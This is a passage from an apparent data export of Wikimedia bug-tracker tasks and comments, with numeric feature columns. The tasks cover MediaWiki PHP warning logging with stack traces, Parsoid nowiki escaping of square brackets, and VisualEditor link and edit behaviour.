+[[https://gerrit.wikimedia.org/r/177095]]",,,1420489388,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ywjb7uxxy5pimzykpwh2,task_subcomment,,True,c1,3,False,,,79,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+337703,Capture PHP warnings with stacktraces in MediaWiki and save to logstash,"Change 177096 had a related patch set uploaded (by Krinkle):
+exception: Hide suppressed errors in 'error' log, flag in 'error-json'
+
+[[https://gerrit.wikimedia.org/r/177096]]
+
+#patch-for-review",,,1418054876,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ywjb7uxxy5pimzykpwh2,task_subcomment,,True,c1,3,False,,,75,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,0,1,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,1
+337702,Capture PHP warnings with stacktraces in MediaWiki and save to logstash,"Change 177095 had a related patch set uploaded (by Krinkle):
+exception: Implement error-json log
+
+[[https://gerrit.wikimedia.org/r/177095]]
+
+#patch-for-review",,,1418054865,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ywjb7uxxy5pimzykpwh2,task_subcomment,,True,c1,3,False,,,75,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+333320,Capture PHP warnings with stacktraces in MediaWiki and save to logstash,"As of 399ba2fecf, MediaWiki has a new debug log group called ""error"" (similar to ""exception"" log we've had for years).
+
+Its entries are PHP Notices, PHP Warnings etc.. These always went (and still go) to PHP stderr (and apache's error log), but are historically lacking stack traces. 399ba2fecf hooks into PHP's error handler and produces a stack traces and forwards it to the new log.
+
+@Reedy and I enabled ([[ https://gerrit.wikimedia.org/r/#/c/173649/ | b4ace9661a ]]) this in production at Amsterdam Hackathon 2014 but it was disabled ([[ https://gerrit.wikimedia.org/r/#/c/173655/ | 82139373383c ]]) as it generated too much data on `fluorine` (1.5G in under 15 minutes).",,,1416970686,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-ywjb7uxxy5pimzykpwh2,task_subcomment,,True,c1,3,True,,,73,,1,0,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,1,1,1,0,1,0,1,0,0,1
+333319,Capture PHP warnings with stacktraces in MediaWiki and save to logstash,"As of 399ba2fecf, MediaWiki has an new debug log group called ""error"" (similar to ""exception"" log we've had for years).
+
+Its entries are PHP Notices, PHP Warnings etc.. These always went (and still go) to PHP stderr (and apache's error log), but are historically lacking stack traces. 399ba2fecf hooks into PHP's error handler and produces a stack traces and forwards it to the new log.
+
+@Reedy and I enabled ([[ https://gerrit.wikimedia.org/r/#/c/173649/ | b4ace9661a ]]) this in production at Amsterdam Hackathon 2014 but it was disabled ([[ https://gerrit.wikimedia.org/r/#/c/173655/ | 82139373383c ]]) as it generated too much data on `fluorine` (1.5G in under 15 minutes).",,,1416970656,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-ywjb7uxxy5pimzykpwh2,task_subcomment,,True,c1,3,True,,,73,,1,0,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,1,1,1,0,1,0,1,0,0,1
+333038,Capture PHP warnings with stacktraces in MediaWiki and save to logstash,"I wonder if we should close this. There's going to need to be some work to port this log into logstash, but that should be a different task. Also, knowing how much disk space it's going to use over a 24 hour period would be useful. The logs should certainly be very compressible...",,,1416933804,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-ywjb7uxxy5pimzykpwh2,task_subcomment,,True,c1,3,False,,,73,,1,0,1,0,0,1,1,0,0,1,0,1,0,0,1,1,0,1,1,0,1,1,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0
+332600,Capture PHP warnings with stacktraces in MediaWiki and save to logstash,"The ability to log backtraces in php errors was added in https://gerrit.wikimedia.org/r/#/c/173642/ .
+It was enabled in production in https://gerrit.wikimedia.org/r/#/c/173649/ and disabled again in https://gerrit.wikimedia.org/r/#/c/173655/ , because it was using ""up 680M in under a minute"".
+
+Having backtraces enabled is a huge help. So they should be enabled permanently and also sent into logstash.",,,1416852549,,PHID-USER-mdihg2tyzmlvyhn3h32y,False,,,PHID-TASK-ywjb7uxxy5pimzykpwh2,task_subcomment,,True,c1,3,False,,,73,,0,0,0,1,0,1,1,1,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,1,1,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,1,0,1,0,0,0
+205588,Capture PHP warnings with stacktraces in MediaWiki and save to logstash,Grabbing stack traces for warnings should be possible with a custom error handler and debug_backtrace() or ErrorException. It should probably be put behind a feature flag of some sort so that deployments that don't care about tracking warnings don't incur the performance penalty of generating the backtrace.,,,1404420413,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-ywjb7uxxy5pimzykpwh2,task_subcomment,,True,c1,3,True,,,52,,1,0,0,1,1,1,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,1,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+205581,Capture PHP warnings with stacktraces in MediaWiki and save to logstash,The above might be from xdebug..,,,1384192111,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-ywjb7uxxy5pimzykpwh2,task_subcomment,,True,c1,3,False,,,19,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+205572,Capture PHP warnings with stacktraces in MediaWiki and save to logstash,"PHPUnit dumps warnings to the console...
+
+Warning: Invalid argument supplied for foreach() in /var/www/wiki/mediawiki/core/includes/objectcache/SqlBagOStuff.php on line 232
+
+Call Stack:
+    0.0009     245936   1. {main}() /var/www/wiki/mediawiki/core/tests/phpunit/phpunit.php:0
+    2.0765   14629624   2. MediaWikiPHPUnitCommand::main() /var/www/wiki/mediawiki/core/tests/phpunit/phpunit.php:119
+    2.0767   14641960   3. MediaWikiPHPUnitCommand->run() /var/www/wiki/mediawiki/core/tests/phpunit/MediaWikiPHPUnitCommand.php:64
+    2.0767   14642440   4. PHPUnit_TextUI_Command->run() /var/www/wiki/mediawiki/core/tests/phpunit/MediaWikiPHPUnitCommand.php:80
+    7.3004   87363544   5. PHPUnit_TextUI_TestRunner->doRun() /usr/share/php/PHPUnit/TextUI/Command.php:176
+    7.3094   87684904   6. PHPUnit_Framework_TestSuite->run() /usr/share/php/PHPUnit/TextUI/TestRunner.php:349
+    7.4141   87686664   7. PHPUnit_Framework_TestSuite->run() /usr/share/php/PHPUnit/Framework/TestSuite.php:705
+   22.3535  178137936   8. PHPUnit_Framework_TestSuite->run() /usr/share/php/PHPUnit/Framework/TestSuite.php:705
+   22.3537  178139472   9. PHPUnit_Framework_TestSuite->runTest() /usr/share/php/PHPUnit/Framework/TestSuite.php:745
+   22.3537  178139952  10. MediaWikiTestCase->run() /usr/share/php/PHPUnit/Framework/TestSuite.php:775
+   22.3586  178141408  11. ApiQueryContinueTest->addDBData() /var/www/wiki/mediawiki/core/tests/phpunit/MediaWikiTestCase.php:109
+   23.4059  178284240  12. ApiTestCase->editPage() /var/www/wiki/mediawiki/core/tests/phpunit/includes/api/query/ApiQueryContinueTest.php:47
+   23.4063  178285904  13. WikiPage->doEditContent() /var/www/wiki/mediawiki/core/tests/phpunit/includes/api/ApiTestCase.php:56
+   23.5032  178306552  14. Title->getUserPermissionsErrors() /var/www/wiki/mediawiki/core/includes/WikiPage.php:1904
+   23.5032  178306736  15. Title->getUserPermissionsErrorsInternal() /var/www/wiki/mediawiki/core/includes/Title.php:1820
+   23.5140  178309936  16. Title->checkPermissionHooks() /var/www/wiki/mediawiki/core/includes/Title.php:2338
+   23.5142  178310696  17. wfRunHooks() /var/www/wiki/mediawiki/core/includes/Title.php:1946
+   23.5142  178310696  18. Hooks::run() /var/www/wiki/mediawiki/core/includes/GlobalFunctions.php:4032
+   23.5167  178312136  19. call_user_func_array() /var/www/wiki/mediawiki/core/includes/Hooks.php:199
+   23.5167  178312848  20. PageTranslationHooks::lockedPagesCheck() /var/www/wiki/mediawiki/core/includes/Hooks.php:199
+   23.5168  178312984  21. SqlBagOStuff->get() /var/www/wiki/mediawiki/extensions/Translate/tag/PageTranslationHooks.php:777
+   23.5168  178313336  22. SqlBagOStuff->getMulti() /var/www/wiki/mediawiki/core/includes/objectcache/SqlBagOStuff.php:200",,,1384189180,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-ywjb7uxxy5pimzykpwh2,task_subcomment,,True,c1,3,False,,,19,,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1
+45067,Parsoid: Square brackets sometimes (but not always) get escaped with <nowiki>s when PHP parser wouldn't,"Visual Editor sometimes creates nowiki markup around simple square text brackets. Interestingly, it does that only in some cases, and not in others. For the same structure, it can also handle the text with nowiki, but does it in others. Text case:
+
+ The example below shows that in some cases this is done, in others not:
+
+# Remains unchanged: Test text for the VisualEditor: [[Link target|These are ['''just''' normal brackets]]].
+# Superflous nowiki-tags added on editing: Test text for the VisualEditor: [[Link target|These are '''just''' [normal brackets]]].
+
+
+Edit with Visual Editor to see the effect.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+{T54268}",Low,25.0,1355402040,1362174611.0,PHID-USER-grpjkpfolt5gz4ljlbfg,False,,False,PHID-TASK-sdeqwu5trbiv6f7fqfg7,task_description,resolved,True,c1,1,False,False,True,-29,,1,0,0,1,1,1,0,0,0,0,1,1,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,1,1,0,1,0,1,0,1,1,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,0,0,1,1,1,0,1,0,1,0,0,0,0,0,0,0,1
+204570,Parsoid: Square brackets sometimes (but not always) get escaped with <nowiki>s when PHP parser wouldn't,[Parsoid component reorg by merging JS/General and General. See bug 50685 for more information. Filter bugmail on this comment. parsoidreorg20130704],,,1372934108,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-sdeqwu5trbiv6f7fqfg7,task_subcomment,,True,c1,3,True,,,0,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,1,0,1
+204562,Parsoid: Square brackets sometimes (but not always) get escaped with <nowiki>s when PHP parser wouldn't,"Much of this is now resolved. [foo] is no longer nowiki-escaped, but [''foo''] is due to the apostrophes.
+
+There is still some room for (minor) improvement by moving the nowiki inside the brackets, although in some cases it is actually easier to read to wrap an entire line in nowiki instead of several nested nowikis.",,,1362174611,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-sdeqwu5trbiv6f7fqfg7,task_subcomment,,True,c1,1,True,,,-18,,1,0,0,1,0,1,1,0,1,0,1,1,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,1,1,0,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,1,1,0,1
+204555,Parsoid: Square brackets sometimes (but not always) get escaped with <nowiki>s when PHP parser wouldn't,"Note about the lost ""'''"" in the example above: that is a different bug unrelated to nowiki-escaping -- it should be fixed after the ongoing serializer refactor is complete.",,,1362171505,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-sdeqwu5trbiv6f7fqfg7,task_subcomment,,True,c1,1,True,,,-18,,0,0,0,1,0,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,1,0,1,0,0,1,0,0,0,0,0
+204549,Parsoid: Square brackets sometimes (but not always) get escaped with <nowiki>s when PHP parser wouldn't,"https://gerrit.wikimedia.org/r/49190 added URL validation in the tokenizer
+based on the wiki's configured URL protocols. This now makes the nowiki escaping more precise and fixes the snippet in this bug report.
+
+[subbu@earth lib] echo '[[Link target|These are '''just''' [normal brackets]]]' | node parse --wt2wt
+[[Link target|These are just [normal brackets]]]
+
+However, this wont be visible in the VE yet till a new deploy of Parsoid (another couple weeks, I expect).",,,1362171374,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-sdeqwu5trbiv6f7fqfg7,task_subcomment,,True,c1,1,True,,,-18,,0,0,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,1,1,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,0,1,0,1,1,0,1
+204544,Parsoid: Square brackets sometimes (but not always) get escaped with <nowiki>s when PHP parser wouldn't,"The problem is that till templates are expanded, it is hard to know whether the content of a ""[..]"" is going to a link or not.  That is the reason the tokenizer defers decisions for all [..] content till all templates are expanded so it can all be handled in a single place.
+
+But, there is another ticket for addressing this a bit more selectively which should address nowiki situations like this: https://bugzilla.wikimedia.org/show_bug.cgi?id=44449 --",,,1359472114,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-sdeqwu5trbiv6f7fqfg7,task_subcomment,,True,c1,1,True,,,-22,,1,0,0,1,1,1,1,0,0,0,1,0,0,0,1,0,0,1,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,1,0,1,1,1,1,0,1,1,0,1
+204538,Parsoid: Square brackets sometimes (but not always) get escaped with <nowiki>s when PHP parser wouldn't,"I believe adding illogical nowiki markup is somewhat irritating to existing editors.
+
+Perhaps a simple solution: Is there any justification for the tokenizer to consider an opening [ as a token? I believe only [http://, [https://, [irc://, [ircs://, [ftp://, [news://, [mailto: and [gopher:// should be external link tokens.",,,1359448382,,PHID-USER-grpjkpfolt5gz4ljlbfg,False,,,PHID-TASK-sdeqwu5trbiv6f7fqfg7,task_subcomment,,True,c1,1,False,,,-22,,1,0,0,0,0,1,1,0,0,0,1,0,0,1,1,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,1,0,1,0,1,0,0,1
+204532,Parsoid: Square brackets sometimes (but not always) get escaped with <nowiki>s when PHP parser wouldn't,"One underlying issue is that our tokenizer is relatively liberal in what it accepts as an external link target, while a stricter validation is applied after templates etc are expanded. Our wikitext escaper also makes use of the tokenizer (plus some regexps), but does not (yet) consider external links that turn out to have invalid targets.
+
+Current output:
+
+echo ""[[Link target|These are '''just''' [normal brackets]]]"" | nodejs parse --wt2wt
+[[Link target|These are '''just'''<nowiki> [normal brackets]</nowiki>]]",,,1359415346,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-sdeqwu5trbiv6f7fqfg7,task_subcomment,,True,c1,1,True,,,-22,,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,1,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,1
+204525,Parsoid: Square brackets sometimes (but not always) get escaped with <nowiki>s when PHP parser wouldn't,"(In reply to comment #2)
+> and the fact that the last
+> ""]"" is outside the link.  
+
+The first ] is inside the link and the last 2 are the closing link.
+
+I agree that there may be more pressing matters, but compare that in one case:
+
+[[Link target|These are ['''just''' normal brackets]]
+
+the parser already works correct (does not add superfluous nowiki). Only if there is no formatting inside single square brackets it adds nowiki. I suspect this is not very logical.
+
+(... and annyoing on the live testing on en.wikipedia.)",,,1355510254,,PHID-USER-grpjkpfolt5gz4ljlbfg,False,,,PHID-TASK-sdeqwu5trbiv6f7fqfg7,task_subcomment,,True,c1,1,False,,,-29,,0,0,1,0,1,1,1,0,0,1,1,1,0,1,1,1,0,1,1,0,1,0,0,0,0,0,0,1,1,0,0,1,1,1,1,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,1,1,0,1,0,0,0,0,1,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,0,0,0,1,1,0,1
+204517,Parsoid: Square brackets sometimes (but not always) get escaped with <nowiki>s when PHP parser wouldn't,"The nowiki-escaping is related to how Parsoid parses the text: [[Link target|These are ['''just''' normal brackets]]] and the fact that the last ""]"" is outside the link.  The nowiki escaping strategy is safe (but conservative) and tries not to accidentally create a wikilink when a ""]"" precedes a regular link bracket.  We (Parsoid team) should fix the parse first, add new tests, and then update the nowiki escaping.",,,1355508117,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-sdeqwu5trbiv6f7fqfg7,task_subcomment,,True,c1,1,True,,,-29,,0,0,0,1,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,1,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,0,1,0,0,0,1,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1
+204507,Parsoid: Square brackets sometimes (but not always) get escaped with <nowiki>s when PHP parser wouldn't,"This appears to be a Parsoid bug; adjusting to reflect that.
+
+If you use the RT form - http://parsoid.wmflabs.org/_rtform/ - on the above string:
+
+[[Link target|These are '''just''' [normal brackets]]]
+->
+[[Link target|These are '''just'''<nowiki> [normal brackets]</nowiki>]]
+
+However, it generates correct HTML; for the other string:
+
+[[Link target|These are ['''just''' normal brackets]]]
+->
+<p data-parsoid=""{&quot;dsr&quot;:[0,54]}""><a rel=""mw:WikiLink"" href=""./Link_target"" data-parsoid=""{&quot;tsr&quot;:[0,53],&quot;a&quot;:{&quot;href&quot;:&quot;./Link_target&quot;},&quot;sa&quot;:{&quot;href&quot;:&quot;Link target&quot;},&quot;stx&quot;:&quot;piped&quot;,&quot;dsr&quot;:[0,53]}"">These are [<b data-parsoid=""{&quot;tsr&quot;:[25,28],&quot;dsr&quot;:[25,35]}"">just</b> normal brackets</a>]</p>
+
+Whereas canonical HTML from the PHP parser is:
+
+<p><a href=""/wiki/Link_target"" title=""Link target"">These are [<b>just</b> normal brackets]</a></p>
+
+[i.e., the closing not-used-for-a-link square bracket is inside the link, not outside it - however, this is probably a separate bug; happy to re-file.]",,,1355507224,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-sdeqwu5trbiv6f7fqfg7,task_subcomment,,True,c1,1,True,,,-29,,0,0,0,0,1,1,1,0,0,1,1,1,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,0,1,0,1,0,0,1
+45063,"VisualEditor: Suppress ""Web link"" section in link inspector suggestion list if a wiki page link already exists","Present situation: the Visual Editor, when clicking on an existing Wiki-Link, provides the chain-link icon which in turn opens a dialogue which contains a pick list. In the pick list two sections exist: ""Existing page"" (value e.g. ""Pretoria"") and ""Web link"" (e.g. ""http://Pretoria""). 
+
+The present dialogue is good enough for creating new links. However, for existing links it is somewhat confusing to offer a nonsense http:// link as an equally valid alternative to an existing or previously confirmed wiki page.
+
+I suggest to keep the present behaviour for new links, but for existing wiki-page-links suppress the ""web link"" part of the pick list. It will still be possible to enter URLs directly in the dialogue box, the enhancement is only about suppressing it in the pick list.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=43841",Low,25.0,1355397960,1367544076.0,PHID-USER-grpjkpfolt5gz4ljlbfg,False,,False,PHID-TASK-3cu7p6qfbrrfjek7shaw,task_description,invalid,True,c1,1,False,False,True,-29,,0,0,0,0,0,1,1,0,0,0,1,0,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,1,0,0,1,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,0
+204167,"VisualEditor: Suppress ""Web link"" section in link inspector suggestion list if a wiki page link already exists","This refers to behaviour that has now changed such that this is no longer actionable, so marking as INVALID.",,,1367544076,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-3cu7p6qfbrrfjek7shaw,task_subcomment,,True,c1,1,True,,,-9,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,1,0,0,0,1,0,0,0,1,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,1,0,0
+204164,"VisualEditor: Suppress ""Web link"" section in link inspector suggestion list if a wiki page link already exists","I am not proposing ANY changes to creating a new link. So when you mark the text wikipedia.org, yes you should be provided with page and the url in the picklist.
+
+My suggestion is about the confusion that occurs when the link already exists and already points to an internal page. I believe that then the chance that users want to validly change it to an external http URL are very small and not worth the confusion. The enhancement is about avoiding visual clutter and avoiding accidental mis-selections. And in those cases where you do want to change an external link to an internal one: you can still do it, only not with the pick list.
+
+I am not sure I understand the timing issues you mention, since the web page suggestions are always non-sense suggestions, just prefixing the text with http, so it seems easily suppressible. The ajax responsible for possible pages is a different story, but the visibility of that is not under discussion.",,,1355435857,,PHID-USER-grpjkpfolt5gz4ljlbfg,False,,,PHID-TASK-3cu7p6qfbrrfjek7shaw,task_subcomment,,True,c1,1,False,,,-29,,1,0,1,1,1,1,1,0,0,0,1,0,0,1,0,1,0,1,1,0,1,1,1,0,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,1,0,0,0,1,0,0,1,1,1,1,1,1,0,1,0,0,0,0,1,0,1,1,1,0,1,1,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+204159,"VisualEditor: Suppress ""Web link"" section in link inspector suggestion list if a wiki page link already exists","Not convinced that this is correct; yes, you /can/ have a valid page at a web site, but still want to link to the external one. For the most trivial example, ""amazon.com"" is both an article (on enwiki) and a valid external link. Therefore I'm minded to WONTFIX this.
+
+Also, I'd note that there are timing issues (as the list is created before the suggestions are returned), but those are minor.",,,1355434976,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-3cu7p6qfbrrfjek7shaw,task_subcomment,,True,c1,1,True,,,-29,,0,0,0,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,1,0,1,0,0,1,0,1,0,1,1
+45052,mediawiki.action.view.dblClickEdit.dblClickEdit should trigger ca-edit click instead opening URL directly,"To account for editors that don't open a new page, simulate a click instead of using window.location directly.
+
+That way editors such as VisualEditor will get the edit event and initiate the editor.
+
+VisualEditor works without this as it updates the ca-edit url with ?veaction=edit, so it'll work. But still, going through a useless reload is... useless.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Low,25.0,1355360100,1358469835.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-5tc7u6hpj3ir3jtg2fhh,task_description,resolved,True,c1,1,True,False,True,-29,,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,0
+203493,mediawiki.action.view.dblClickEdit.dblClickEdit should trigger ca-edit click instead opening URL directly,Code has been merged.,,,1358469835,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-5tc7u6hpj3ir3jtg2fhh,task_subcomment,,True,c1,1,True,,,-24,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+203488,mediawiki.action.view.dblClickEdit.dblClickEdit should trigger ca-edit click instead opening URL directly,"mediawiki.action.view.dblClickEdit and mediawiki.action.view.rightClickEdit modules respectively.
+
+Change-Id: Ie8a35700bc9e74b24f234ea682ad25375e18bda4",,,1355379612,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-5tc7u6hpj3ir3jtg2fhh,task_subcomment,,True,c1,1,True,,,-29,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+45043,VisualEditor: Strange duplication of content after multiple save attempts,"Reported at http://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback#Error_saving_data_to_server:_error: the parsoid appears to time out(?) and reports that there's an error, while actually saving the page. Meanwhile, a second attempt at saving has the same problem, /also/ saves...but adds random duplication of sentence fragments. See 
+https://en.wikipedia.org/w/index.php?title=Cologne&diff=next&oldid=527666838
+
+--------------------------
+**Version**: unspecified
